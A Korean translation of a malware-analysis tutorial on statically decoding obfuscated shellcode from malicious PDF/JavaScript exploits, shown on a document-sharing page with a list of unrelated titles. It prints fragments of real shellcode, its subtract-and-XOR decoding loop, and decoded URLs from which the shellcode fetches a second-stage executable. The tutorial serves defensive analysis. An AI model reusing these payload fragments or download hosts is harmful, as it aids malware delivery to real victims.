Microsoft Word - Static analysis of Shellcode.doc

Similar documents
특허청구의 범위 청구항 1 앵커(20)를 이용한 옹벽 시공에 사용되는 옹벽패널에 있어서, 단위패널형태의 판 형태로 구성되며, 내부 중앙부가 후방 하부를 향해 기울어지도록 돌출 형성되어, 전면이 오 목하게 들어가고 후면이 돌출된 결속부(11)를 형성하되, 이 결속부(11

ÃÖ»óÀ§5³ª-Á¤´ä(01~23)

기본서(상)해답Ⅰ(001~016)-OK

Deok9_Exploit Technique


버퍼오버플로우-왕기초편 10. 메모리를 Hex dump 뜨기 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습

Secure Programming Lecture1 : Introduction

제 9 도는 6제어항목의 세팅목표의 보기가 표시된 레이더 챠트(radar chart). 제 10 도는 제 6 도의 함수블럭(1C)에서 사용되는 각종 개성화 함수의 보기를 표시하는 테이블. 제 11a 도 제 11c 도까지는 각종 조건에 따라 제공되는 개성화함수의 변화의

(01-16)유형아작중1-2_스피드.ps

10-2 삼각형의닮음조건 p270 AD BE C ABC DE ABC 중 2 비상 10, 11 단원도형의닮음 (& 활용 ) - 2 -

(001~007)수능기적(적통)부속

Microsoft Word - Reverse Engineering Code with IDA Pro-2-1.doc

본 발명은 중공코어 프리캐스트 슬래브 및 그 시공방법에 관한 것으로, 자세하게는 중공코어로 형성된 프리캐스트 슬래브 에 온돌을 일체로 구성한 슬래브 구조 및 그 시공방법에 관한 것이다. 이를 위한 온돌 일체형 중공코어 프리캐스트 슬래브는, 공장에서 제작되는 중공코어 프

(001~042)개념RPM3-2(정답)

PowerPoint Template

Vehicular Communications

Microsoft Word - Heap_Spray.doc

목차 1. 소개... 3 가. BOF란?... 3 나. 윈도우 BOF 개발환경및사용툴 Shellcode 작성하기... 4 가. cmd 쉘 ) 소스코드작성 ) 디스어셈블리 ) 어셈블리코드편집 간단

<C3D1C1A4B8AE B0E6BFECC0C720BCF B9AE2E687770>

Microsoft PowerPoint - chap07.ppt

1 1,.,


Microsoft Word - poc_script1.doc

KAA2005.9/10 Ãâ·Â

(71) 출원인 나혜원 대구 달서구 도원동 1438 대곡사계절타운 나혜리 대구 달서구 도원동 1438 대곡사계절타운 (72) 발명자 나혜원 대구 달서구 도원동 1438 대곡사계절타운 나혜리 대구 달서구 도원동 1438 대


<4D F736F F D20B9D9C0CCB7B5B9D9C0CCB7AFBDBA5FBCF6C1A42E646F63>

int main(void) int a; int b; a=3; b=a+5; printf("a : %d \n", a); printf("b : %d \n", b); a b 3 a a+5 b &a(12ff60) &b(12ff54) 3 a 8 b printf(" a : %x \

< E20C6DFBFFEBEEE20C0DBBCBAC0BB20C0A7C7D12043BEF0BEEE20492E707074>

2 KAIST 1988,,KAIST MathLetter, 3,,, 3,, 3, 3,

chap06.hwp

02.Create a shellcode that executes "/bin/sh" Excuse the ads! We need some help to keep our site up. List Create a shellcode that executes "/bin/sh" C

- 본사의 주소 : 경기도 수원시 팔달구 인계동 전화번호 : 홈페이지 주소 : (4) 회사 사업 영위의 근거가 되는 법률 - 여신전문금융업법 (5) 중소기업 해당 여부 -

CKKeyPro 적용가이드

저작자표시 - 비영리 - 변경금지 2.0 대한민국 이용자는아래의조건을따르는경우에한하여자유롭게 이저작물을복제, 배포, 전송, 전시, 공연및방송할수있습니다. 다음과같은조건을따라야합니다 : 저작자표시. 귀하는원저작자를표시하여야합니다. 비영리. 귀하는이저작물을영리목적으로이용할

Microsoft PowerPoint - chap02-C프로그램시작하기.pptx

HWP Document

A C O N T E N T S A-132

금오공대 컴퓨터공학전공 강의자료

1 1. (,, ) ( ) (,,, )., 1 ( ), ( ) ( ) 30, ( ) , + 1%., 1.

untitled

Microsoft PowerPoint 웹 연동 기술.pptx

파이널생명과학1해설OK

Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3

Microsoft Word - building the win32 shellcode 01.doc

커알못의 커널 탐방기 이 세상의 모든 커알못을 위해서

슬라이드 1

°ø±â¾Ð±â±â

*통신1510_01-도비라및목차1~12

MPLAB C18 C

슬라이드 1

Level 4 ( hell_fire -> evil_wizard ) ~]$ cat evil_wizard.c /* The Lord of the BOF : The Fellowship of the BOF - evil_wizard

Microsoft Word - PE Infection ? How to Inject a dll.doc

미통기-3-06~07(052~071)

많이 이용하는 라면,햄버그,과자,탄산음료등은 무서운 병을 유발하고 비만의 원인 식품 이다. 8,등겨에 흘려 보낸 영양을 되 찾을 수 있다. 도정과정에서 등겨에 흘려 보낸 영양 많은 쌀눈과 쌀껍질의 영양을 등겨를 물에 우러나게하여 장시간 물에 담가 두어 영양을 되 찾는다

<BCF620C3CAB5EE20362D3220B1D7B8B028326E64292DC7D0BBFDBFEB2DBCF6C1A42E706466>

<B1E2BCFAB9AEBCAD5FB9DABAB4B1D45F F F64746F72732E687770>

Black Hole Exploit Kit PDF Exploit $selectedexploit =? 3 or 4 /games/pdf.php /games/pdf2.php CVE , CVE , CVE , CVE


수리 영역 가 형 5. 다음 그림과 같이 크기가 같은 정육면체 개가 한 모서리씩을 공유하 면서 각 면이 평행 또는 수직 관계를 유지한 채로 한 평면 위에 놓여있 다. 그림의 세 꼭짓점 A, B, C에 대한 두 벡터 BA 와 BC 가 이루는 각 의 크기를 h라 할 때,

A y y y y y # 2#

/* */

PowerPoint 프레젠테이션

Microsoft PowerPoint - chap01-C언어개요.pptx

hwp

초보자를 위한 C# 21일 완성

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션

Microsoft PowerPoint - 기계공학실험1-1MATLAB_개요2D.pptx

Eureka Mail Client_v2.2.q를이용하여오믈렛에그헌팅에대하여알아볼것이다. 익스플로잇을위해구성된환경은아래와같다. - Windows XP Professional SP3 KOR - Python Ollydbg 1.x, Immunity Debugg

480제 생물Ⅰ 해설

<근대이전> ⑴ 문명의 형성과 고조선의 성립 역사 학습의 목적, 선사 문화의 발전에서 국가 형성까지를 다룬다. 역사가 현재 우리의 삶과 긴밀하게 연결되었음을 인식하고, 역사적 상상력을 바탕으 로 선사 시대의 삶을 유추해 본다. 세계 여러 지역에서 국가가 형성되고 문 명

Press Arbitration Commission 62


=

AD AD 8-0 / A A-2 / A A A-5 / A A T-T / Q

특허청구의 범위 청구항 1 횡방향으로 서로 이웃하는 제1 PC 패널과 제2 PC 패널이 횡방향으로 서로 접합되어 구축되는 건축구조물의 구조 벽체로서, 제1 PC 패널의 길이방향으로 하부측에는, 횡방향 측면이 상부측에서의 횡방향 측면보다 횡방향으로 더 돌출되어 있는 하부

i n i n i n 1

Microsoft PowerPoint - 00_(C_Programming)_(Korean)_Computer_Systems

풍문으로들었소팀보고서 hkpco, hellsonic, lokihardt, gogil 페이지 1 / 16

0 cm (++x)=0 x= R QR Q =R =Q = cm =Q =-=(cm) =R =x cm (x+) = +(x+) x= x= (cm) =+=0 (cm) =+=8 (cm) + =0+_8= (cm) cm + = + = _= (cm) 7+x= x= +y= y=8,, Q

Microsoft PowerPoint - a6.ppt [호환 모드]

(004~011)적통-Ⅰ-01

제20회_해킹방지워크샵_(이재석)

2005년 6월 고1 전국연합학력평가

본문서는 Syngress 의 Writing Security Tools and Exploits Chap11 을요약정리한 것입니다. 참고로 Chap 10 ~ 12 까지가 Metasploit 에대한설명입니다. Metasploit Framework 활용법 1. Metasplo

ThisJava ..

PowerPoint 프레젠테이션

<4E505F415AB1DBB7CEB9FABAF1C1EEC7C3B7A35FBEE0B0FC E687770>

< D312D3220C0CCB5EEBAAFBBEFB0A2C7FC E485750>

1.기본현황 연 혁 m 본면은 신라시대 ~고려시대 상주목에 속한 장천부곡 지역 m 한말에 이르러 장천면(76개 리동),외동면(18개 리동)으로 관할 m 행정구역 개편으로 상주군 장천면과 외동면이 병합하여 상주군 낙동면 (17개 리,25개

Check 0-9, 9,, - 6, 6, 6, =0.04, (-0.) = , =64 8 8, -8 (-6) =6 (-6) 6, -6 7, , -0. 8, -8 6, '7 ' '

Microsoft Word - KSR2012A038.doc

C 프로그래밊 개요

歯7장.PDF

1 1 x + # 0 x - 6 x 0 # x # 2r sin2x- sin x = 4cos x r 3 r 2r 5 r 3r

취약점분석보고서 [Photodex ProShow Producer v ] RedAlert Team 안상환

untitled

chap7.PDF

(1) 주소지정방식 Address Mode 메모리접근 분기주소 명령어 직접번지 Reg. 지정 Reg. 간접 Base Index 간접 Immediate 상대번지 절대번지 Long 주소 Reg. 간접 Byte Access Bit Access 내부 Data M

Transcription:

Static analysis of Shellcode By By Maarten Van Horenbeeck 2008.09.03 2008.09.03 본문서에서는악성코드에서사용하는난독화되어있는쉘코드 를분석하는방법에대한 Maarten Van Horenbeeck 의글을번역 한것이다. Hacking Group OVERTIME OVERTIME force <forceteam01@gmail. forceteam01@gmail.com com>2008.09.10

Static analysis of Shellcode 두달전, ISC 핸들러인 Maarten Van Horenbeeck 는악성 PDF 파일에서 exploit 내용을추출하는방법에대한매우훌륭한내용을발표했다. 우리는이와같은악용을시도하는매우많은수의 PDF 또는 PDF- 파생품을보았다. 이문서에서는어떻게그들을해결하는지알아본다. Maarten 의발표내용을다시한번살펴보자보통, 악성코드섹션을추출하거나또는 inflating 할때마지막작업으로아래와같이정렬된 shellcode 를포함하는자바스크립트익스플로잇함수를만나게된다. 이와같은블록을풀기위해서간단한펄스크립트를사용할수있다. cat nasty.js perl - pe 's/\ %u(..)(..)/ chr(hex($2)).chr(hex($1))/ ge' hexdump - C more 이스크립트는 Unicode(%u ) 를실제출력가능한 ASCII 형태로변환한다. 대부분의 Unicode 블록은에셈블리어 (shellcode) 로되어있다. ASCII 로변환된내용은조금이상하게보인다. 이와같은이유로결과물을 hexdump 에넘겨준다. 하지만잠깐, 우리는 %u(hex) 를 ASCII 로변환했고그것을 Hexdump 에넘겼다. 이와같이하는이유는 %uxxyy 의바이트오더가변경된 (yy xx) 텍스트를얻기위해서이다. 그리고 hexdump C 또한 ASCII 를출력한다. ( 역자주 : 펄스크립트를보면 $2 가먼저나와서바이트오더를변경한다 ) 00000320 b5 64 04 64 b5 cb ec 32 89 64 e3 a4 64 b5 f3 ec µd.dµëì2.dã dµóì

00000330 32 64 eb 64 ec 2a b1 b2 2d e7 ef 07 1b 22 20 2b 2dëdì*±²-çï.." + 00000340 0d 0a 22 11 10 10 ba bd a3 a2 a0 a1 ef 68 74 74.."...º½ ïhtt 00000350 70 3a 2f 2f 61 6f 6c 63 6f 75 6e 74 65 72 2e 63 p://aolcounter.c 00000360 6f 6d 2f 34 65 5a 6b 37 2f 65 78 65 2e 70 68 70 om/4ezk7/exe.php 00000370 00 22 29 3b 0d 0a 09 76 61 72 20 59 39 49 62 36.");...var Y9Ib6 00000380 75 75 45 20 3d 20 30 78 34 30 30 30 30 30 3b 0d uue = 0x400000;. 그리고주의깊게보면우리는다음단계로실제 exploit 이다운로드를시도하는 EXE 파일의이름을알수있다. ( 역자주 : http:/ / aolcounter.com/ 4eZk7/ exe.php 파일다운로드 ) 항상이처럼쉬운것만은아니다때때로다음단계의 URL 이인코딩되어있는경우도있다. 또다른 Shellcode 를살펴보자 이전과같은방식으로살펴보면 $ cat bad.js perl - pe 's/\ %u(..)(..)/ chr(hex($2)).chr(hex($1))/ ge' hexdump - C more 00000000 20 20 20 20 76 61 72 20 53 68 65 6c 6c 63 6f 64 var Shellcod

00000010 65 3d 75 6e 65 73 63 61 70 65 28 22 90 90 90 90 e=unescape("... 00000020 90 33 c0 33 c9 eb 12 5e 66 b9 00 01 8b fe 80 2e.3À3Éë.^f¹...þ.. 00000030 07 80 36 04 46 e2 f7 eb 05 e8 e9 ff ff ff f4 b5..6.fâ ë.èéÿÿÿôµ 00000040 0b 0b 0b 62 67 ac 3b 0b 0b 0b 96 4b 0f 96 7b 1f...bg ;...K..{. 000000c0 3e e6 12 c1 1b 43 fd 77 13 cc d6 10 0e e5 4b f6 >æ.á.cýw.ìö..åkö 000000d0 fc 46 22 78 ea 61 96 61 27 0e e0 69 96 0f 56 96 üf"xêa.a'.ài..v. 000000e0 61 1f 0e e0 96 07 96 0e c8 b6 61 64 ce f3 5c 02 a..à...è adîó\. 000000f0 02 02 91 51 11 ef f0 e6 ef 03 a3 01 95 11 81 e3...q.ïðæï....ã 00000100 ed 7e 39 25 32 7b 73 77 77 7b 45 32 32 7a 7a 7a í~9%2{sww{e22zzz 00000110 31 84 72 78 7d 70 68 67 7e 68 6c 7d 6e 73 31 74 1.rx}phg~hl}ns1t 00000120 71 69 72 32 7b 7e 76 32 72 78 77 31 7b 73 7b 42 qir2{~v2rxw1{s{b 00000130 6d 40 70 69 7e 6c 3d 3b 3b 38 30 38 3b 0b 22 29 m@pi~l=;;808;.") 00000140 3b 0a ;. 00000142 URL이보이지않는다. 누구나생각하는것처럼 URL은 Block안에있다. 대부분의 URL은일반적으로 http:/ / www 와같은형태로시작한다. 그래서만일우리가 abbcdeefff 와같이같은문자가반복되는형태의문자순서를본다면이것은대부분의경우인코딩된 URL 의시작패턴이다. 난독화를위해서사용되는가장기본적인방법은간단한 XOR 방식이다. 이와같은방식은이전문서에서다룬 XORSearch와같은툴을이용해서쉽게찾을수있다. ( 역자주 : Analyzing an obfuscated ANI exploit 문서참조 ) 이것은 XOR 형태가아니기때문에여기서는적용되지않는다. 그러면다음으로무엇을해야하는가? 두가지방법이있다. 하나는취약한시스템에서악

성코드를실행해서무엇을하는지알아내는것이고 ( 이와같은형태를 dynamic analysis 라고부른다 ), 또다른방법은유닉스 command line 이제공하는기능을이용해서단계별진행을통한 static analysis 를진행한다. 첫째로우리는쉘코드를유닉스디스어셈블러가이해할수있는형태로전환할필요가있다. 그렇게하기위해서우리는 90 90 90 형태로시작하는위의코드블락을 C 배열형태로변환해야한다. $ cat bad.bin perl - ne 's/ (.)/ printf "0x%02x,",ord($1)/ ge' > bad.c 변환하면아래와같다. 0x90,0x90,0x90,0x90,0x90,0x33,0xc0,0x33,0xc9,0xeb,0x12,0x5e,0x66... 아래와같은형태로전환한다. int main() { char foo[] = { 0x90,0x90,0x90,0x90,0x90,0x33,0xc0,0x33,0xc9,0xeb,0x12,0 x5e,0x66... }; } 컴파일한다. $ gcc - O0 - fno- inline bad.c - o bad.bin 디스어셈블가능한형태로변환한다 $ objdump - - disassembler- options=intel - D bad.bin 이작업의결과는 intel 어셈블리코드이다. 만일당신이악성코드리버스엔지니어링경험이있다면정확히 OllyDbg 사용경험이있다면해당코드를보는데어려움이없을것이다. 하지만그렇지않다면내용을이해하는것이힘들것이다. 어셈블리파일을살펴보다보면아래형태의코드블록을찾을수있을것이다. 4005a0: 90 nop 4005a1: 90 nop 4005a2: 90 nop 4005a3: 90 nop

4005a4: 90 nop 4005a5: 33 c0 xor eax,eax 4005a7: 33 c9 xor ecx,ecx 4005a9: eb 12 jmp 4005bd <C.0.1610+0x1d> 4005ab: 5e pop rsi 4005ac: 66 b9 00 01 mov cx,0x100 4005b0: 8b fe mov edi,esi 4005b2: 80 2e 07 sub BYTE PTR [rsi],0x7 4005b5: 80 36 04 xor BYTE PTR [rsi],0x4 4005b8: 46 e2 f7 rexxy loop 4005b2 <C.0.1610+0x12> 이것은우리가쉘코드로부터얻은바이트순서이다. 내용을살펴보면블록의루프는 4 와 XOR 하기전에모든바이트에서 7 을뺀다. 확인해보자 cat bad.bin perl - pe 's/(.)/ chr((ord($1)- 7)^4)/ ge' hexdump - C 00000000 c2 8d c2 8d c2 8d c2 8d c2 8d 28 c2 bd 28 c3 86 Â.Â.Â.Â.Â.(½(Ã. 00000010 c3 a0 0f 53 5b c2 b6 ff 80 8f bf bf bf bf bf bf Ã.S[ ÿ.. 00000020 bf bf bf bd ff 80 8f bf bf bf bf bf bf bf bf bf ½ÿ.. 000001b0 bf bf bf bf bf bf bf bf bf c2 8e 4e 0e c3 ac c3 Â.N.à à 000001c0 ad c3 9b c3 ac ff 80 8f bf bf bf bf bf bf bf bf - Ã.à ÿ.. 000001d0 bf b8 c2 98 ff 80 8f bf bf bf bf bf bf bf bf bf Â.ÿ.. 000001e0 be c2 8a 0e 7e c3 98 c3 a2 73 36 1a 2f 70 68 74 ¾Â..~Ã.à s6./pht 000001f0 74 70 3a 2f 2f 77 77 77 2e 79 6f 75 72 6d 65 64 tp://www.yourmed 00000200 73 65 61 72 63 68 2e 69 6e 66 6f 2f 70 73 6b 2f search.info/psk/ 00000210 6f 75 74 2e 70 68 70 3f 62 3d 6d 66 73 61 32 30

out.php?b=mfsa20 00000220 30 35 2d 35 30 00 0a 0a 05-50... 결과물에서우리는다음단계에서사용되는 URL 을얻을수있다. 이와같은방식으로 URL 을찾기전에알아두어야할내용은모든쉘코드가 URL 을포함하고있는것은아니다. 그렇지만만일쉘코드에 URL 이포함되어있다면이와같은방식이많은도움이될것이다.